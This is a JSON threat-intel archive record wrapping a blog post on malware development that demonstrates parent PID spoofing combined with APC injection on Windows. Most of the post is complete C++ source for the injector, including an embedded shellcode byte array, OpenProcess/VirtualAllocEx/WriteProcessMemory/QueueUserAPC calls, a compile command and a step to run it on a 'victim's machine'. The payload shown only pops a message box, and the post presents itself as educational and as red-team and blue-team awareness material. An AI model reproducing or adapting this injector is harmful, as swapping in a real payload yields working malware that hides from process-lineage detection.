{
	"id": "3e297268-7b49-4f6e-a279-4a8ee67f512d",
	"created_at": "2026-04-06T00:09:54.938391Z",
	"updated_at": "2026-04-10T03:26:56.284768Z",
	"deleted_at": null,
	"sha1_hash": "a42d8b990d63fa3e0132231270830bf89f8b3bf4",
	"title": "Malware development tricks: parent PID spoofing. Simple C++ example.",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1453427,
	"plain_text": "Malware development tricks: parent PID spoofing. Simple C++\r\nexample.\r\nBy cocomelonc\r\nPublished: 2022-09-06 · Archived: 2026-04-05 22:29:17 UTC\r\n4 minute read\r\n﷽\r\nHello, cybersecurity enthusiasts and white hackers!\r\nThis article is the result of my own investigation into interesting trick: parent process ID spoofing.\r\nparent PID spoofingPermalink\r\nMonitoring the relationships between parent and child processes is a common method used by threat hunting teams\r\nto identify malicious activities. Red teams have adopted parent PID spoofing as a method of evasion. The\r\nCreateProcess Windows API call supports a parameter that allows the user to specify the Parent PID. This means\r\nthat a malicious process can use a different parent than the one being executed when it is created.\r\npractical examplePermalink\r\nLet’s look at a practical example. First of all, let’s say that we have some process, like mspaint.exe :\r\nhttps://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html\r\nPage 1 of 14\n\nAs you can see, PID is 3396 . If we look at its parent process (PID: 2876 ), we can see explorer.exe :\r\nhttps://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html\r\nPage 2 of 14\n\nAlso we can see via Process Hacker that current directory is C:\\Windows\\System32\\ :\r\nhttps://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html\r\nPage 3 of 14\n\nThen, the execution flow of this trick is detailed in the following steps:\r\nI got explorer.exe PID:\r\nint pid = findMyProc(argv[1]);\r\nif (pid) {\r\n printf(\"PID = %d\\n\", pid);\r\n}\r\nHANDLE ph = OpenProcess(PROCESS_ALL_ACCESS, false, (DWORD)pid);\r\nCreate process mspaint.exe :\r\nCreateProcessA(\"C:\\\\Windows\\\\System32\\\\mspaint.exe\", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW\r\nLPVOID ba = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\nWrite meow-meow payload to created process memory:\r\nhttps://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html\r\nPage 4 of 14\n\nBOOL res = WriteProcessMemory(pi.hProcess, ba, (LPVOID)my_payload, sizeof(my_payload), nb);\r\nAdd a user-mode asynchronous procedure call (APC) object to the APC queue of the thread of the created process:\r\nQueueUserAPC((PAPCFUNC)ba, pi.hThread, 0);\r\nResume thread:\r\nResumeThread(pi.hThread);\r\nCloseHandle(pi.hThread);\r\nSo, the full source code of this trick is:\r\n/*\r\nhack.cpp\r\nparent PID spoofing with APC\r\nauthor: @cocomelonc\r\nhttps://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html\r\n*/\r\n#include \u003cwindows.h\u003e\r\n#include \u003ctlhelp32.h\u003e\r\n#include \u003ciostream\u003e\r\nint findMyProc(const char *procname) {\r\n HANDLE hSnapshot;\r\n PROCESSENTRY32 pe;\r\n int pid = 0;\r\n BOOL hResult;\r\n // snapshot of all processes in the system\r\n hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);\r\n if (INVALID_HANDLE_VALUE == hSnapshot) return 0;\r\n // initializing size: needed for using Process32First\r\n pe.dwSize = sizeof(PROCESSENTRY32);\r\n // info about first process encountered in a system snapshot\r\n hResult = Process32First(hSnapshot, \u0026pe);\r\n // retrieve information about the processes\r\n // and exit if unsuccessful\r\n while (hResult) {\r\n // if we find the process: return process ID\r\n if (strcmp(procname, pe.szExeFile) == 0) {\r\nhttps://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html\r\nPage 5 of 14\n\npid = pe.th32ProcessID;\r\n break;\r\n }\r\n hResult = Process32Next(hSnapshot, \u0026pe);\r\n }\r\n // closes an open handle (CreateToolhelp32Snapshot)\r\n CloseHandle(hSnapshot);\r\n return pid;\r\n}\r\nint main(int argc, char* argv[]) {\r\n unsigned char my_payload[] =\r\n // 64-bit meow-meow messagebox\r\n \"\\xfc\\x48\\x81\\xe4\\xf0\\xff\\xff\\xff\\xe8\\xd0\\x00\\x00\\x00\\x41\"\r\n \"\\x51\\x41\\x50\\x52\\x51\\x56\\x48\\x31\\xd2\\x65\\x48\\x8b\\x52\\x60\"\r\n \"\\x3e\\x48\\x8b\\x52\\x18\\x3e\\x48\\x8b\\x52\\x20\\x3e\\x48\\x8b\\x72\"\r\n \"\\x50\\x3e\\x48\\x0f\\xb7\\x4a\\x4a\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\"\r\n \"\\x3c\\x61\\x7c\\x02\\x2c\\x20\\x41\\xc1\\xc9\\x0d\\x41\\x01\\xc1\\xe2\"\r\n \"\\xed\\x52\\x41\\x51\\x3e\\x48\\x8b\\x52\\x20\\x3e\\x8b\\x42\\x3c\\x48\"\r\n \"\\x01\\xd0\\x3e\\x8b\\x80\\x88\\x00\\x00\\x00\\x48\\x85\\xc0\\x74\\x6f\"\r\n \"\\x48\\x01\\xd0\\x50\\x3e\\x8b\\x48\\x18\\x3e\\x44\\x8b\\x40\\x20\\x49\"\r\n \"\\x01\\xd0\\xe3\\x5c\\x48\\xff\\xc9\\x3e\\x41\\x8b\\x34\\x88\\x48\\x01\"\r\n \"\\xd6\\x4d\\x31\\xc9\\x48\\x31\\xc0\\xac\\x41\\xc1\\xc9\\x0d\\x41\\x01\"\r\n \"\\xc1\\x38\\xe0\\x75\\xf1\\x3e\\x4c\\x03\\x4c\\x24\\x08\\x45\\x39\\xd1\"\r\n \"\\x75\\xd6\\x58\\x3e\\x44\\x8b\\x40\\x24\\x49\\x01\\xd0\\x66\\x3e\\x41\"\r\n \"\\x8b\\x0c\\x48\\x3e\\x44\\x8b\\x40\\x1c\\x49\\x01\\xd0\\x3e\\x41\\x8b\"\r\n \"\\x04\\x88\\x48\\x01\\xd0\\x41\\x58\\x41\\x58\\x5e\\x59\\x5a\\x41\\x58\"\r\n \"\\x41\\x59\\x41\\x5a\\x48\\x83\\xec\\x20\\x41\\x52\\xff\\xe0\\x58\\x41\"\r\n \"\\x59\\x5a\\x3e\\x48\\x8b\\x12\\xe9\\x49\\xff\\xff\\xff\\x5d\\x49\\xc7\"\r\n \"\\xc1\\x00\\x00\\x00\\x00\\x3e\\x48\\x8d\\x95\\x1a\\x01\\x00\\x00\\x3e\"\r\n \"\\x4c\\x8d\\x85\\x25\\x01\\x00\\x00\\x48\\x31\\xc9\\x41\\xba\\x45\\x83\"\r\n \"\\x56\\x07\\xff\\xd5\\xbb\\xe0\\x1d\\x2a\\x0a\\x41\\xba\\xa6\\x95\\xbd\"\r\n \"\\x9d\\xff\\xd5\\x48\\x83\\xc4\\x28\\x3c\\x06\\x7c\\x0a\\x80\\xfb\\xe0\"\r\n \"\\x75\\x05\\xbb\\x47\\x13\\x72\\x6f\\x6a\\x00\\x59\\x41\\x89\\xda\\xff\"\r\n \"\\xd5\\x4d\\x65\\x6f\\x77\\x2d\\x6d\\x65\\x6f\\x77\\x21\\x00\\x3d\\x5e\"\r\n \"\\x2e\\x2e\\x5e\\x3d\\x00\";\r\n STARTUPINFOEXA si;\r\n PROCESS_INFORMATION pi;\r\n SIZE_T st;\r\n int pid = findMyProc(argv[1]);\r\n if (pid) {\r\n printf(\"PID = %d\\n\", pid);\r\n }\r\n HANDLE ph = OpenProcess(PROCESS_ALL_ACCESS, false, (DWORD)pid);\r\nhttps://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html\r\nPage 6 of 14\n\nZeroMemory(\u0026si, sizeof(STARTUPINFOEXA));\r\n InitializeProcThreadAttributeList(NULL, 1, 0, \u0026st);\r\n si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, st);\r\n InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, \u0026st);\r\n UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, \u0026ph, sizeof(HANDLE), NULL\r\n si.StartupInfo.cb = sizeof(STARTUPINFOEXA);\r\n CreateProcessA(\"C:\\\\Windows\\\\System32\\\\mspaint.exe\", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW\r\n LPVOID ba = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);\r\n SIZE_T *nb = 0;\r\n BOOL res = WriteProcessMemory(pi.hProcess, ba, (LPVOID)my_payload, sizeof(my_payload), nb);\r\n QueueUserAPC((PAPCFUNC)ba, pi.hThread, 0);\r\n ResumeThread(pi.hThread);\r\n CloseHandle(pi.hThread);\r\n return 0;\r\n}\r\nAs you can see, I reused my code from this and this posts.\r\nHere I have hardcoded a bit the process which being started, you can modify it so that it accepts it from\r\nthe command-line arguments\r\ndemoPermalink\r\nLet’s go to see everything in action. Compile our “malware”:\r\nx86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -mwindows -I/usr/share/mingw-w64/include/ -s -ffunction-sections\r\nThen run it on the victim’s machine:\r\n.\\hack.exe explorer.exe\r\nhttps://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html\r\nPage 7 of 14\n\nRun Process Hacker and as you can see, mspaint.exe process successfully created (PID: 4720 ):\r\nhttps://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html\r\nPage 8 of 14\n\nAnd:\r\nhttps://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html\r\nPage 9 of 14\n\nhttps://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html\r\nPage 10 of 14\n\nas you can see, parent process is 2876 which is corresponds to explorer.exe , but current directory is Z:\\2022-\r\n09-06-malware-tricks-23 !\r\nAnd what is in the process memory?\r\nhttps://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html\r\nPage 11 of 14\n\nSo everything is work perfectly :)\r\nActually I deceived you a little. in my example goes not just parent process spoofing. It’s a combination of PPID\r\nspoofing and APC injection. Because I am also learning new things like you and sometimes you need to ask yourself\r\nquestions and don’t be afraid to experiment.\r\nLet’s go to upload hack.exe to VirusTotal:\r\nhttps://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html\r\nPage 12 of 14\n\nSo, 20 of 70 AV engines detect our file as malicious.\r\nhttps://www.virustotal.com/gui/file/3ec9f1080253f07695f0958ae84e99ff065f052c409f0f7e3e1a79cd4385a9d5/detection\r\nThis technique is used in Cobalt Strike and KONNI RAT. For example Cobalt Strike can spawn processes with\r\nalternate PPIDs.\r\nOriginally this technique was introduced into the wider information security audience in 2009 by Didier Stevens\r\nI hope this post spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red\r\nteamers arsenal.\r\nDidier Stevens: That Is Not My Child Process!\r\nMITRE ATT\u0026CK: Parent PID spoofing\r\nCobalt Strike\r\nKONNI\r\nCreateProcessA\r\nFind process ID by name and inject to it\r\nAPC injection technique\r\nsource code in github\r\nThis is a practical case for educational purposes only.\r\nhttps://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html\r\nPage 13 of 14\n\nThanks for your time happy hacking and good bye!\r\nPS. All drawings and screenshots are mine\r\nSource: https://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html\r\nhttps://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html\r\nPage 14 of 14\n\n  https://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html     \nAs you can see, PID is 3396 . If we look at its parent process (PID: 2876 ), we can see explorer.exe :\n   Page 2 of 14",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://cocomelonc.github.io/malware/2022/09/06/malware-tricks-23.html"
	],
	"report_names": [
		"malware-tricks-23.html"
	],
	"threat_actors": [
		{
			"id": "aa65d2c9-a9d7-4bf9-9d56-c8de16eee5f4",
			"created_at": "2025-08-07T02:03:25.096857Z",
			"updated_at": "2026-04-10T02:00:03.659118Z",
			"deleted_at": null,
			"main_name": "NICKEL JUNIPER",
			"aliases": [
				"Konni",
				"OSMIUM ",
				"Opal Sleet "
			],
			"source_name": "Secureworks:NICKEL JUNIPER",
			"tools": [
				"Konni"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "b43c8747-c898-448a-88a9-76bff88e91b5",
			"created_at": "2024-02-02T02:00:04.058535Z",
			"updated_at": "2026-04-10T02:00:03.545252Z",
			"deleted_at": null,
			"main_name": "Opal Sleet",
			"aliases": [
				"Konni",
				"Vedalia",
				"OSMIUM"
			],
			"source_name": "MISPGALAXY:Opal Sleet",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1775434194,
	"ts_updated_at": 1775791616,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/a42d8b990d63fa3e0132231270830bf89f8b3bf4.pdf",
		"text": "https://archive.orkl.eu/a42d8b990d63fa3e0132231270830bf89f8b3bf4.txt",
		"img": "https://archive.orkl.eu/a42d8b990d63fa3e0132231270830bf89f8b3bf4.jpg"
	}
}